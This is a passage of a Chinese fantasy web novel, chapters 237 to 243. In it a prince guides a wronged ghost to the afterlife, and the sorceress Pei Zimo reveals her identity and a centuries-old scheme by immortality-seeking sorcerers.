“等一等。”萧公瑾咬了咬牙,“我可以说得再清楚一点,就算你能跨过鬼门关,你也不见得能复活王妃,一定要有一样东西做引,如果没有这样东西,即便你把王妃的魂魄带回来,她也终究只能是魂魄,没办法在身体上复活。” “若是真心帮我,又何必讲条件?”白锦夜皱起眉头,“你们再不走,就别怪我不客气了。” 萧忆翎拧眉看着从头到尾都没有看过自己一眼的白锦夜,微微抿了下唇,如果之前那位“楚公子”本身就是白锦夜,那也可以说,他从头到尾都是知道这件事的,他就真的完全不把她放在眼里么?“肃亲王,你我本就有婚约在身,就算你不愿意承认这门婚事,那也要双方坐下来,把事情说清楚,你这样平白无故塞过来一个人,是觉得我好糊弄,萧家好欺负么?” 啰嗦了半响,显然白锦夜已经是不耐烦了,他眯了眯眼,袖袍一挥,一阵烈风吹过来。 这风里夹杂着阴气,若是普通人吸上一口,轻者也要病个十天半个月。 萧公瑾愣了下,便要赶紧抵挡,只不过他的印诀还没摆开,就见旁边的黑袍女子随意地挥了挥手,烈风登时就消散了。 裴子墨拧眉看着他,“白锦夜,我跟你说过,做事不能一蹴而就。” 白锦夜看了她一眼,没再说话,就要离开。 “肃亲王,她也不是什么好人,之前的遣鬼就是她派来的。”萧尺寒看着白锦夜的背影赶紧提醒道,“你就算不让我们进去,也千万不能把她放进去。” 裴子墨笑着看向萧尺寒,“萧公子,刚才我可救了你们这么多人,你就这样对你的救命恩人?” 萧尺寒拧了下眉,刚才白锦夜那一下,就算他能躲过去,萧家的其他人也不见得能躲过去,他这样做确实有点不太地道了,“刚才你是救了我们没错,可遣鬼也是你派来的。” 裴子墨扫了扫袖子,原地坐下,“遣鬼是我派来的,可你和白锦夜不都好好的站在这,是缺胳膊还是少腿了?” 萧尺寒被噎了一下,没再说话,转头看向萧公瑾,“爷爷,那现在怎么办?” 萧公瑾微微眯起眼,隔了会,目光才落在锦成的身上。 锦成被他盯得有些毛骨悚然,“你别这么看我,我可什么都不会。” “都是‘神冥公’的后人,你怎么可能会什么都不会?”萧公瑾看着他,“往前可就是你们这一脉的旧址,里面的东西,难道你愿意看着让肃亲王一个人独占?他有的,你也该有,不是么?” 第238章 你再逼她,她会魂飞魄散的 裴子墨没有理会萧家人在做什么。 之前她把本命玉佩交给白锦夜,就是为了能自己能随时出现在他身边。 白锦夜回到深处,那里是一处完好无损、甚至有些崭新的宅院。 他走进院子,看着蜷缩在角落里的魂魄。 那魂魄缩成一团,瑟瑟发抖,“王爷,我真的什么都不知道,那天晚上我也被下了药,我真的什么都不知道。” 他拧着眉,走过去蹲在她面前,声音低低柔柔,“裴清歌,你别怕,我不会伤害你。” 裴清歌的魂魄微微抬眼看着他,眼底依旧带着恐惧。 白锦夜看着她脸上的疤痕,和他最初见她的时候是一样的,但是之后,她一直在治自己脸上的伤,等到离开的时候,她脸上的伤已经几乎好的差不多了,他皱了下眉头,“只要你告诉我,她在哪。” “王爷,我真的不知道,我不知道你在说什么。”裴清歌又向后缩了缩,“我不是有意破坏你和玲珑的婚事……” “她说她早就在你的身体里了,你没有感觉么?”白锦夜皱起眉头,“你没有感觉到过,有人在跟你争夺你身体的控制权?或者……你会有一段时间没有记忆,嗯?你好好想想。” “我没……”裴清歌说到这,声音一下子停了下来,像是想到了什么,脸色有些许的变化。 白锦夜看着她,“有过,是不是?你想到了什么?” 裴清歌的脸色逐渐变得痛苦,她抱住自己的脑袋,就连魂魄都开始变得虚幻。 “说出来。”白锦夜抓住她的肩膀,“说出来我就放你走,你在那个世界里,孤苦无依,也没办法投胎,只要你说出来,我会帮你,给你寻一个去处。” “不……不……”裴清歌抱着头,缩成紧紧一团。 “清歌……” “你再逼她,她会魂飞魄散的。”裴子墨拧眉看着白锦夜。 听到声音,白锦夜猛地转头看去,眯眼看着她,“你怎么进来的?”顿了顿,他也发现些端倪,“这是你的魂魄,还是只是你的一丝意识?” 说完他站起身,朝着裴子墨走了几步,“你根本就没有死,是么?在我梦里,你说的话都是骗我的?就是为了现在?” “你身上怎么会有这么重的阴气?”裴子墨打量着他,隔了会才看了一眼裴清歌的魂魄说,“她的魂魄在地府游荡太久,已经有了破损,你把我带进来,我可以修复她的魂魄,到时候你想知道什么,她都会告诉你。” “你现在修复她的魂魄,我再带你进来。”白锦夜沉默了会道。 “我现在没有这样的能力。”裴子墨摇了摇头,“再说,在这种地方,你怕我对你做什么么?我若是真的做了什么事,我也没办法离开这里不是么?” “我用这种方式待不了太久,可你看她现在魂魄,虚虚实实,恐怕也坚持不了多长时间。” 白锦夜眯眼看了她一会,没再说话,但是显然算是同意了。 裴子墨的身影也就在原地消失了。 * 萧公瑾正劝说着锦成好好想一想,甚至拿出自己家族的传承给他演示,可锦成还是一脸茫然。 他又气又急,抓着锦成到了平台边,把他往前推着,锦成半个身子都探了出去,“白锦夜可以,你就一定也可以,你就不能用点心么?!” 锦成被吓得够呛,也难免挣扎,萧公瑾没有抓稳,他一下子就掉了下去。 萧公瑾也没想到会这样,一瞬间也没反应过来去拉他。 裴子墨睁开眼就看到这一幕,眼疾手快的扑过去一把抓住了锦成的手。 锦成吓得够呛,像是抓住救命稻草一样抓住裴子墨的手。 按理说,裴子墨把他拉上来不成问题,可是这深渊地下就像是有吸力一般,拉扯着锦成往下拽他,裴子墨都被他拉得往前滑了不少。 萧公瑾大概这会才意识到什么,也要伸手去拉,可是他已经够不到锦成的手,裴子墨毕竟是个女子,他也不好随便伸手,只能看向萧忆翎,“阿翎,你快过来。” 萧忆翎不情不愿地走过来,手虽然抓住了裴子墨的胳膊和肩膀,但却一点都没用力,她现在只希望锦成掉下去摔死,没有了锦成,萧公瑾就一定会想办法让她嫁给白锦夜。 但只要有锦成兜底,这件事就总有退路。 可是有着白锦夜对比,她一点都不像嫁给锦成了。 裴子墨皱起眉,转头看向萧忆翎,“萧姑娘,若是不愿意帮忙,大可以放手。” “这么重的男人,我怎么拉得动?”萧忆翎咬着唇,“我已经在用力了啊。”说着她像是用力拽了一把,却拽了个空,一屁股坐在地上,转头看向萧公瑾,“不行啊,爷爷,拉不动。” 萧尺寒看得着急,只能走过来,低声道,“姑娘,得罪了。” 说完便抬手抓住裴子墨的肩膀,试图把她拉回来。 萧尺寒动了手,其他人也就放心的过来拉萧尺寒,但即便是这么多人,也还是没办法把锦成拉上来。 甚至裴子墨连带着萧尺寒大部分身体都被拖拽出平台。 裴子墨咬了咬牙,朝前面的黑暗喊道,“白锦夜,你再不出来,就等着给我收尸吧!” 话音落下半响,几个人才感觉手上一轻。 白锦夜抓着锦成的肩膀,把他扔到自己身后的路上。 锦成惊恐未定,趴在透明的路上,往下看着,一动不敢动。 裴子墨抓住萧尺寒的手,把他带着萧家人全都扫开,脚上用力一登,朝白锦夜扑过去。 白锦夜微皱了下眉,才伸手接住她。 “别放我下来。”裴子墨看了看下面,他脚下的是黄泉路,如果只是爽灵一魂短时间碰到,倒也还好,可她现在还是个活人,她术法再高,也没办法保证自己碰到黄泉路后还可以安然无恙。 白锦夜沉默了会,才转过身,看着依旧趴在地上的锦成,“站起来往前走。” “肃亲王……”萧公瑾赶紧开口。 白锦夜转头看了一眼萧公瑾,“你们把他扔下去,现在还不走,是打算留在这等着我跟你们算账么?” 锦成哆哆嗦嗦地站起来,指着前面的虚无,“就……就往前走么?” 白锦夜没理他,绕过他直接往前走。 锦成也不敢停,赶紧跟了上去。 萧公瑾气得脸色都青了,没能说服白锦夜,还把锦成给搭了上去,气得他一句话也不想说,转身就往外走。 萧尺寒看了看自己的手,又抿唇看着裴子墨的身影,那女子……感觉哪里好熟悉啊。 第239章 但若说是自尽,倒也不至于 进了院子,白锦夜立刻就放开了手。 裴子墨走到裴清歌的面前蹲下来,轻轻地叫了声她的名字。 大概因为同是女子,裴清歌看着她,情绪微微缓和了一些。 裴子墨抬起手扶住她的头,双手拇指按在她的眉心,嘴里低低地念着一些咒语。 白锦夜站了会,抬手抓住锦成的肩膀,把他拽进了旁边的一处房间。 “这是哪啊?”锦成看着周围,“你……你真的是白锦夜?你是肃亲王?你没死……” 白锦夜没理他,挥手关上了门,也隔绝掉了声音。 锦成试图开门,但没办法打开门,对着外面喊了半响,外面也一点动静都没有,他把耳朵贴在门上,依旧什么都听不到,想着白锦夜应该也不会害他,只能作罢。 白锦夜回到院子,他可以清晰地感受到裴清歌的魂魄在逐渐趋于稳定,就连脸上的疤痕都在慢慢消失。 又过了大概一炷香,她就已经完全恢复了。 裴清歌在裴子墨眼中的倒影里也看到了自己脸上的疤痕逐渐消失,等裴子墨收回手,她立刻抬手摸了摸自己的脸颊,果然已经摸不到一丝伤痕了。 她脸上都是欣喜,“我的脸好了……谢谢你,谢谢。” “不必。”裴子墨站起来,转头看向白锦夜,“她的状态稳定多了,你有什么话,可以问她了。”顿了顿她才解释,“之前,她的情绪几乎停留在死前,所以会害怕、内疚,都是些负面的情绪,你越是逼问她,这情绪就越会加重,脑海里所有的事情也都会混乱,没办法回答你的问题。” 白锦夜看了看她,才看向裴清歌,“刚才我问你的,你还记得么?” 裴清歌站起来,对着白锦夜福了福,“记得。” 白锦夜走到旁边的石桌旁,坐在石凳上,顿了下才说,“那你就从头说吧。” “这件事,要从三年前我外公寿辰那时说起。”裴清歌缓缓开了口。 她的声音细柔轻慢,跟白锦夜记忆中的完全不同,所以他也知道,跟他相处的,就从来不是裴清歌本人。 云启元那年的寿辰早就过去了不止三年,不过裴清歌的记忆也只是停留在她死去的那一刻,所以也没人纠正她时间上有什么错误。 “那一年,我们全家到了洪都,我妹妹玲珑年纪尚小,到了洪都觉得哪里都新奇,便经常跑出去玩。毕竟是陌生的地方,我娘怕她出事,就让我看着她。那一日午后,我本来在小憩,就听到她和丫鬟说趁着我睡着,赶紧溜出去玩。” “我当时就想着偷偷跟着她,一来不会搅了她游玩的雅兴,二来若是她真的有什么事,我也能立刻出来。” “我就这样一路跟着她到了一处废弃的宅院,可进了宅院,我便迷了路,也找不到玲珑的身影了。我和我的丫鬟四处找了许久,都找不到离开宅院的路,后来听到有人咳嗽,我们便想着去问问路。” “在一个房间里,我见到了一个重伤的女子,她虽然受了伤,可还是很厉害,见到有外人来,就对我们动了手。这后面的事,我本来是不记得的,是死了之后,才逐渐想起来。” 她说着到,裴子墨看了她一眼,微微抿了抿唇,也走到石桌边坐了下来。 目光看着院子外面,像是在思索什么。 白锦夜没有理她,只是看着裴清歌,听她继续说。 “其实进了那个房间,我的丫鬟就被她杀了,只不过后来大概是怕人起疑,她也不知道用了什么办法,又让我的丫鬟活了过来,而后来,我爹爹认为我和人私通,我的丫鬟也就因此被杖毙,没人知道,她其实早就死了。” 裴清歌说着脸上闪过一抹悲戚,隔了会才道,“那个人本来也是想要杀了我的,但是却说了句‘找了这么久,没想到自己送上门’,我不知道她要对我做什么,但是我也没有什么反抗能力,她好像可以控制我一样,之后的每天,我都给她送药送饭,她的身体也逐渐好了起来。” “最后那天,我去的时候,她在地上画了很多我看不懂的东西,还在我身上贴了符咒,那时候我开始不太清醒,后来偶尔断断续续的,会听到她说一些话,比如……” 她仔细地想了会,确认没什么问题,才把那些话说出来。 “眼看你这姻缘就要到了,你要是嫁给别人,可就要误了我的大事了。” “况且,嫁了也不过几年光景就要成了寡妇,不如不嫁。” “你放心,只要事成,来世我会给你寻个好去处,保管你下辈子飞黄腾达,做人上人。” “我那时,也不太懂她说的是什么,等我彻底清醒过来,房间里就已经空无一人了,其实我那时候醒来,对这整件事是完全不记得的,我也不知道自己为什么会来这里,就想着赶紧离开。” “走到院子里的时候,就碰到孟家夫人,她说我与孟公子私通,一碗热油泼在我脸上,从那以后,我的姻缘确实无人问津了。” “在那之后,我就和我娘住在裴府的后院,很少出门。直到大概半年以前,有一天晚上,我突然发现自己站在床前,看着我的身体躺在床上,从那天开始,我就总感觉自己的身体怪怪的,心里总像是有人在跟我说话,可我也听不见她说什么,也不知道她要干什么。” “一直到王爷你和玲珑大婚的时候,玲珑来找我,问我能不能扮成丫鬟,陪她去王府过几天,等回门的时候再一起带我回来。其实我知道我不该去的,不仅于理不合,而且……以前的玲珑对我也算有对长姐的敬重,可我容貌毁了以后,她对我已经不似从前。” “但是拒绝的话,到了嘴边,却怎么都说不出来,我心里的那个声音不断地告诉我,要去,也必须去。” 裴清歌说着苦笑了一声,“没想到这一去,就再也没有回头路了。那天晚上,我一直陪着玲珑在新房,已经一整天没吃东西,所以玲珑让我喝点水的时候,我也就喝了,等我醒来……”她抬眼看向白锦夜,“那天的事情,真的非我所愿。但若说是自尽,倒也不至于……” 说到这,她的目光变得有些迷茫,“只是心里的声音,好像告诉我,我不该再活着了。” 第240章 此生我们欠你的 “我也不知道为什么,那时候,就是觉得对不起这世上的所有人,对不起爹娘教导,有辱门楣,对不起玲珑,没脸活在这世上。”裴清歌轻轻笑了笑,又摇了摇头。 “但从小,外公和娘就教我做人要豁达,即便做了什么错事,认识到错误去弥补就好了。因为我的事,娘已经失去了爹的宠爱,在府上的地位一日不如一日,她都是为了我,我是她坚持下来的唯一原因,如果我死了,她会有多伤心和难过?” “我们俩在裴府后院的日子过得虽然清贫,也偶尔被下人欺负,但是娘说,只要活着就有希望。她一直劝慰我说,等有了合适的机会,她就会跟爹和离,带着我一起回洪都,外公一家一定会对我很好。” “到时我也不用顾忌爹爹的颜面,可以出去转一转,也许这世上会有不在意我容貌的男子……可是……” 白锦夜微微眯着眼,所以也许在一定程度上,裴清歌也是被人控制着,就像当初他被人控制的时候,心里的负面情绪会迅速扩大。 裴清歌垂下眼,半响才抬头看向白锦夜,“王爷,我娘她……我娘她现在还好么?” 白锦夜看着她,“云夫人已与裴靖和离,之前云止回了盛京,她现在与云止住在云家在盛京的老宅。” “那就好。”裴清歌点点头,“是我不孝……”顿了会,她又看向白锦夜,“王爷,破坏你与玲珑的婚事,实非我所愿,如今我也不能再做什么来弥补这件事,只望你也不要再记恨此事。” 白锦夜摇了摇头,“我从未记恨此事。” 裴清歌犹豫了会,才又问,“王爷可否给我娘带句话?”说完这句,她又沉默了下,“还是算了,也许现在我娘已经接受了我离开的事实,若是再带句话,又要勾起她心里伤痛。” “若你有想说的话,就说吧,合适的时候,我会带话给她。”白锦夜又道。 裴清歌想了想,才说,“就说能做她的女儿是我这辈子最大的幸事,养育之恩,来世再报。” 白锦夜微微眯了下眼,才问,“你不好奇,对你做这些事的人是谁么?” 裴清歌轻轻摇了摇头,“知道能如何,不知道又如何?事已至此,我只关心我在乎的人,只要我娘安好,我就没什么放不下的了。” 白锦夜轻叹了口气,转头看向坐在一边的裴子墨,“你有办法帮她么?算我欠你个人情。” 裴子墨点点头。 从刚才裴清歌的话里,白锦夜也猜测到了什么,他站起身对着裴清歌施了一礼。 裴清歌有些惶恐,向后退了退,“王爷,我承受不起。” “此生我们欠你的,也只能……来世再还了。”白锦夜说完,后退了几步,转头看向裴子墨。 裴清歌微微皱起眉,不太明白白锦夜的话,也不知道他说的“我们”是谁,不过白锦夜已经退开了,她便看向走过来的裴子墨。 裴子墨看着她,“你阳寿未尽,所以没有去处,我现在送你离开,今世因,来世果,我保你来世顺遂一生。” “多谢。”裴清歌对着她福了福。 裴子墨没有说话,低头在地上画了一个阵法,让裴清歌的魂魄站在阵法之间,她又念了些咒语,魂魄便消失不见了。 送走裴清歌,她转过身,便见到白锦夜在看着她。 “你想要什么?”白锦夜眯起眼。 “要什么?”裴子墨皱起眉头。 “你既然要进来,就是有目的。我欠你个人情,趁着我现在还有耐心,赶紧说,然后我送你离开。”白锦夜继续道。 “然后呢?”裴子墨问他,“我离开之后,你要做什么?这个人的魂魄是你从鬼门关里带出来的,你还要再去么?” “那是我的事。”白锦夜皱起眉头。 裴子墨别开眼,隔了会才说,“刚才她的话,你应该也明白了,有人为了接近你,故意害了裴清歌这一条命,这也只是其中一部分,甚至可能是很少的一部分,即便如此,你也还要继续么?” 白锦夜的手握成拳,“就算她做了任何错事,我都会和她一起承担后果。” “值得么?”裴子墨又问。 “那也是我的事。”白锦夜眯起眼,“你再不说,我就要先送你离开了。” “我来,确实有一些目的。”裴子墨垂下眼,“我来拿这里的一样东西。” 白锦夜四处看了一眼,“这里就是这样了,你要拿什么就拿,拿了我就送你走。” 裴子墨沉默了会,重新走到石桌边坐下,半响后才开口道,“你要找的那个人,她师父叫裴洛,北冥国的圣女,姓氏一脉相承,全都姓裴。” “他们每年都会找来很多符合条件的小女孩,从小教导,作为圣女的接班人。但是其实从‘围北之战’之前的几年,他们就不再去寻找这样的小女孩了,因为他们已经等到了要等的人,这个人,就是你。” “从那时候开始,他们做的所有的事情,都是为了接近你,为了等到眼前的这一天。” “他们慢慢的布局,先是放出了裴姝。裴姝本该是来天风国,接近你父皇,害死张太妃,然后再把你收到膝下来养。可裴姝离开了北冥国之后,却一心还想着回北冥国做圣女,不愿意任人摆布,所以她根本就没来天风国,而是去了西夜国。” “她迷惑了西夜国的国君,又认养了些孩子,比如和月如、和月薇,不过她也被楚云颂利用,发动了‘围北之战’,那一战失败之后,裴姝也知道自己很难再回北冥国,但也没有死心,试图继续联合三国的力量,助她回北冥国成为圣女。” “不过好在,他们还有其他的计划,因为他们眼中的,最后一任圣女……裴子墨也长大了,年纪和你又相仿。把他们从小就教导好、格外听话的裴子墨送到你身边,可要比一个有着私心的养母要划算多了。” 说到这,裴子墨停下来,抬眼看向白锦夜,“她接近你,本就是别有用心,你还要继续找她么?” 第241章 你还不知道我是谁么? 白锦夜眯着眼,走到裴子墨的对面坐下,“继续说。” 裴子墨轻声笑了笑,垂眼看了看自己的手指,隔了会才继续道,“其实每任圣女,从小就会被教导很多事,但是裴子墨不一样,他们什么都没有告诉她,只是教她术法。一直到最后的时候,告诉她,有一件事,关乎北冥国的未来,需要她去做。” “那时候裴洛已经离开了北冥国,到了天风国,她要接近你,给裴子墨的到来铺路。但一次偶然的机会,裴洛得知,谁接近你,谁就可能得到了一个成仙的机会,当术法修习到一定程度,追求的也不过就是长生、成仙,她心动了。” “她要控制将来会在你身边的裴子墨,所以……她提前选择了裴清歌。裴清歌本就有自己的姻缘,寿数也未到。那天……裴清歌虽然有一劫,也只是被孟夫人拦住,但是却会被给云启元贺寿而路过的白砺寒所救,不会死,也不会毁容,两个人的姻缘也是从这开始。” “原本回京之后,裴清歌就会被白砺寒接进宫里,虽然也过不了几年好日子,等白砺寒死后,便要遁入空门,但起码也算是安稳一生。裴洛改了她的姻缘,让她被热油毁了容,同时也在她身上留了阵法。” “裴子墨……本来并不是以重生在别人身上的方式来接近你。当时有人告诉她,她师父裴洛在月城,让她去月城找人,而那时你也在月城,只要稍加留意你的行踪,你们就会在月城相遇,而你也可能不会回京城,留下陪着她一起找她师父。” “可是裴洛早就在月城设下埋伏,裴子墨一到,就险些丧命,她也算是将计就计,通知鬼卿以秘法守住她的身体,她则是把自己的魂魄逼出体内,顺着对方的法阵,进了裴清歌的身体。” “但进去了之后才发现,裴清歌的身体里也被设置了重重限制,她被困在了她的身体里,没办法挣脱,也没办法控制那身体。她试图与裴清歌沟通,但每次都失败。直到裴清歌被下药的那天,她第一次挣脱束缚。” “后来,裴清歌的魂魄离开,她就用裴清歌的身体活了下来。她只知道她要接近你,可也不知道接近你要做什么,派她来的人,只说让她等着。她在你身边呆了很久,呆的几乎不耐烦了,才终于发现黄泉路的存在。” “不过那是她还不懂黄泉路意味着什么,也就是在她发现黄泉路之后,派她来的人,让她回一趟北冥国。那一次……她说是在密室里看其他圣女留下的东西,其实,都只是在跟派她来的那个人在一起,她知道的事情,都是他说的。” 裴子墨说着微微吸了一口气,“之后她要做的,就是引着你,去寻找你的身世,寻找‘神冥公’一脉的秘密,包括引出黄泉路。” “她说她没有控制过鬼卿,但其实鬼卿一直都在她的控制之中,甚至于……把你炼制成冥尸,也本就是计划的一部分。她一开始只是被告知,要找机会把你炼制成冥尸,便于后续控制,哪怕让鬼卿出现,都是安排好的,打消你对成为冥尸的顾虑。” “她也是后来才知道,引出黄泉路虽然是你们这一脉特有的能力,但成为冥尸,才能最大的抵抗住阴气的侵袭,不然可能在尝试引出黄泉路的过程中,你就已经死了。而她也不是因为修习术法才没有七情六欲,而是派她来的人,怕她跟你长期相处,万一动心会影响所有的计划,才会封闭她的七情六欲。” “但事情的偏差,就出在她在琼华山的那几个月。” “按照计划,她确实该早就回盛京跟你汇合之后,去解开京中的那些法阵。盛京当年便是第一任圣女的葬身地,那几处法阵,是为了镇压第一任圣女的魂魄气息。那时有人抓了她的孩子威胁她,她放弃了成仙的机会,也没能救出自己的孩子,怨气冲天,那些都是为了镇压她的。” “但是裴子墨回去的太晚,也到了原本计划的时间,是没有办法,才没处理外面的那八处阵法。” 又沉默了会,她才继续说,“本来在琼华山的时候,她想着反正以后你都要去,那会她大概率已经回了北冥国,就想先帮你探探路。探到她给你的那张地图的最后,就怎么都找不到接下来的路了,她本想再找一天,实在找不到就下山了。可没想到就是这一天,她却意外发现了裴洛的踪影。” “但裴洛好像在躲着她,两个人在山上一追一躲,耗费了一个多月的时间。” “那时她还以为裴洛是对她好的人,开心的相认,哪知道裴洛却想从她的嘴里套出炼制冥尸的方法,然后把她也炼制成冥尸。套话失败之后,裴洛就下了杀手。她在裴清歌的身上重生以后,受身体限制,根本不是裴洛的对手,好在身上有血莲护体,侥幸不死,而裴洛也死在了血莲的反击之下。” “她拘了裴洛的魂魄,一开始想找个地方先养伤。但裴洛伤她的术法很奇怪,伤势一直都不见好。那时候,血莲因为攻击裴洛,也陷入沉睡,没办法帮她修复伤势,她也就只能撑着最后一一口气,回了盛京,只要你的血温养了血莲,她自然也就能活下来。” “那些日子,她拷问着裴洛的魂魄,终于知道了一些事情。他们要的,就是一个能打开黄泉路的人,一个能来到这里的人,帮他们拿到他们想要的东西,助他们成仙。” “她一开始,被告知盛京之中的那处阵法,镇压着第一任圣女的仙气,那是这世上仅存的仙气,只有那里的仙气被释放出来,剩下的人才有再成仙的可能。” “但不久前她才知道,那些阵法,是以恶制恶,镇压第一任圣女的怨气。现在阵法已经破了,怨气逐渐消散,不知道……又会有多少人因此丧命。” “而上千年来,因为这件事,早就死了无数的人。你也好,我也好,都不过是这件事里的一颗棋子。” 裴子墨说着看向白锦夜,“我就是来拿那样东西的。” 白锦夜薄唇紧抿,半响才问,“你到底是谁?” 裴子墨轻笑了一声,“你还不知道我是谁么?” 第242章 你可以不喜欢我,但总会习惯我 白锦夜沉默了好久,伸过手,手在半空中又纠结半响,才握住裴子墨的手,“你早就出现在过我的梦里,为什么那时候不说?” “那时候血莲已经不在,我的魂魄在裴清歌的身体里很不稳定,所以才会出现在你的梦里。但我想我们以后大概也不会再见面了,确实没有必要告诉你。”裴子墨垂眼看着他的手,“况且,如果那时我就告诉你我是谁,你也不可能打开黄泉路。” “那现在呢?现在又为什么要告诉我?”白锦夜看着她,“你要来拿东西离开,我也没有阻止你。” “可我不能再错下去了,我不能再为了他们的成仙路害人了。”裴子墨说着转头看着刚刚她在地面上画下的阵法,“我以前骗你说裴清歌早该在洪都的时候就死了,但她明明是可以好好活着的,还有盛京的法阵已经破了,根本无从修补,我……” 裴子墨闭上眼,好半天才开口道,“北冥国国君,也不过是他们推到前面的一颗棋子,楚云颂虽然发现了异常,矛头也只是对准袁澈。” “我身上的血莲,还有这里的那样东西,都是必不可少的。袁澈可以控制圣女,也不过是他们随口教他的一点术法,真正能控制圣女的,其实是他们。袁澈的控制,我可以靠血莲摆脱,但是他们的控制,是我没办法摆脱的。” “且不说控制这回事,我们甚至不是袁澈的对手,又怎么可能反抗得了他们?当时在裴清歌的身体里,就算我的能力全都恢复,但因为她的身体承受不住太高深的术法,不然还没伤敌,自己的身体就先毁了。现在虽然我可以完全发挥自己的实力,可我所有的本事都是他们教的,他们甚至比我更了解这些术法。” “若不是在这里,这些话我也不可能对你说,这里大概不属于外面的那个世界,我和他们之间的联系,在到了这以后,就全断了,可我也不能一辈子藏在这里。” “他们……是谁?”白锦夜皱起眉。 “他们在北冥国,是以少祀官的身份出现,不过,确切的说,他们跟你同宗同源,但可能要比你早出生几百上千年。我不知道他们是用什么样的秘法活下来,可是……几百年的术法积累,根本不是我们能抗衡的。”裴子墨吸了一口气,“而且,从小培养我的那个人,他也能打开黄泉路,所以我在你梦里见到,才能认出来。” “可既然他们跟我一样,他们为什么不自己来这里?”白锦夜看着她。 “当年,也是因为成仙这事,你们家族分崩离析,有一支带着那样重要的东西来了琼华山,并且设置了禁阵,禁止他们进入琼华山。所以如今这世上,只有你能来,也只有你能把那样东西带出去。”裴子墨说着抿了抿唇。 “如果他们得到了那样东西,就不会再让你活着,可如果,等我们从这里出去的时候,东西没有带出来,他们会控制我,再让我控制你,来把东西拿出去。” 白锦夜抬手抱住她,“没事的,会有办法的。” “血莲从身体里剥离的时候,真的是太疼了。”裴子墨垂眼看着白锦夜的肩膀,“我……我已经没有勇气再剥离一次。好在……现在我身体里的血莲还没有苏醒,我可以把我的魂魄从身体里逼出来,你把我送进鬼门关,只有我死了,这世上就再没人能控制你,他们拿不到东西,但也不能杀你。” “我让鬼卿来帮你,到时候你们一起去盛京,把我惹出来的烂摊子……能收拾多少,就收拾多少。” “不,不。”白锦夜摇了摇头,“我找了你这么久,我不能再失去你一次。” 裴子墨微微皱起眉头,抬手抚上白锦夜的眉心,她闭上眼,看着白锦夜自可以控制黄泉路开始,在那个黑暗阴森的世界里到处找她,却怎么也找不到,一次次的失望绝望,她感受着他所有的感受,心头蓦地像是针刺一样一痛。 她下意识地放开手,睁眼看着白锦夜。 他的眼底带着血丝,眼角微红,“以前你什么都不跟我说,现在我知道了,我们就不能一起想办法面对这些么?” “可我也只知道这些,他们不可能把所有的事情全都告诉我。”裴子墨垂下眼,“这条路,我们要一起走,不知道有多难。” “再难的路,也总有办法一起走。”白锦夜握住她的手,“我们一起回盛京,阵法是我们一起破的,后果我们一起来承担,将来无论遇到什么事,裴清……裴子墨,我都不允许你再扔下我一个人。” “可我终究还是没有什么七情六欲,我不知道他们用了什么办法,我也解不开。”裴清歌皱起眉,“我在这,只是我觉得我做了错事要弥补,并不是因为……” “没有七情六欲,可你也有自己的意愿。你说血莲的养成,到最后不只是要靠血,还要有更亲密的行为,那你是愿意跟我,还是愿意跟其他的人?这件事你心里也总该有自己的想法。”白锦夜看着她的眼睛,“你想一想,嗯?” “我……”裴子墨拧着眉,以前凌珞对她也没什么亲密的举动,除了她出发来琼华山的那日,他拉着她坐在了他腿上,她心里确实是厌恶和抗拒的。 从她决定隐去血莲的那一刻,就是为了避免跟凌珞有更亲密的关系。 “你心里已经有答案了。”白锦夜低声道,“不然你不会来找我,你不会对我说这些,你完全可以拿了东西就走,不用担心我的死活,不是么?没有七情六欲,也会有习惯。你可以不喜欢我,但你总会习惯我。” “你……为什么……我骗了你,我害你吃了这么多苦,让你这些日子过得这么不好,甚至生不如死,你不恨我么?”裴子墨抿着唇。 “我怎么不恨你?”白锦夜抬手用指尖轻轻描着她的眉眼,“我就想,如果我找到你,一定要问问你,怎么能对我这么狠心?明明一手安排了自己的死亡,还要骗我说事情解决完,就跟我在一起,我前一刻还在开心,后一刻就彻底绝望。” “可我又想,就算见到你,我也不能质问,万一你生气了又离开,我该怎么办?裴子墨,我该拿你怎么办?” 第243章 你既然回来了,怎么不去见我? 裴子墨垂下眼,半响,才像是做了什么决定,“如果你想好了,无论如何都不会后悔的话,我们就可以想想办法。” 她说着抬起眼,看着外面的黑暗,“既然没有退路,那就放手一搏。” 隔了会,她又想起什么,转头看向关着锦成的房间,“但我们得想办法先撮合锦成和萧忆翎的事,他们在一起,跟什么养莲花的事情都无关,但起码你们这一族的后代有了着落,你也就……再没了什么后顾之忧。” “我这边可以先拖住他们,就说在这里翻找过了,暂时还没找到他们要的东西。” 白锦夜点点头,犹豫了下,才问,“只是,锦成和云月宁的事……” “昭纯宫都毁了,云月宁现在不知道多心虚,只要锦成不说,她绝对不会把这件事说出来。”裴子墨说着微微皱了一下眉头,想着刚才萧忆翎根本不想救锦成的样子,“只不过……要跟萧忆翎结亲,恐怕也不算良配。” “稍后问问他自己吧。”白锦夜也转头看了他一眼,“之前被迫跟云月宁在一起,没有自己选择的权力,现在……我们也不应该逼他。” 裴子墨轻轻叹了口气,没再说话。 * 凌珞的梦里,一片透明的地面上,一个同样穿着红袍的女子跟他相对而坐。 那女子的头发和瞳孔甚至都是红色的。 她眉眼带着愠色,“已经这么多年了,你每次都说快了,每次都说快了,可根本没有一点进展,你是不是都在骗我?” “怎么会?”凌珞看着她,眼里尽是宠溺,“这一次是真的快了,他们已经进到那里了,只要拿到华精玉,你就可以复活了。” “哼。”女子轻哼一声,眼里这才流露出一丝喜色,正要再说话,却见凌珞对她摆了摆手。 随即他的手一挥,旁边隐约地出现裴子墨的身影。 “怎么了?”凌珞开口问道。 “那地方我已经进去了,但是里面太大,东西不好找。而且很多地方我也没办法去,要他带我才能去,他现在忙着在找裴清歌的魂魄,没什么时间搭理我,我再问下去,他恐怕就要对我起疑了。”裴子墨开了口,语气不算太好。 凌珞听着她这就是受了气的样子,沉默了会才说,“你不打算跟他相认么?” “相认?你确定?”裴子墨反问道。 “我觉得,这可能是最快的办法了,你的魂魄只是回到你的身体里,他在鬼门关那侧不可能找得到。”凌珞微皱了下眉,“子墨,记得我们的目的,况且相认不相认影响不大,只要拿到华精玉,他对我们就没有任何用处了。你不是记得清楚,没有用处的人,该如何处理么?” 裴子墨半响没有说话,过了好半天,只是轻笑一声,“希望我对你永远有用处。” 说完这句,她的身影消失了。 红衣女子收回目光,看向凌珞,眸间带着几丝惊讶,“你不是说,裴子墨会死么?你还留着她是什么意思?我身体里可已经有养成的血莲了,你难道要再养一个么?” 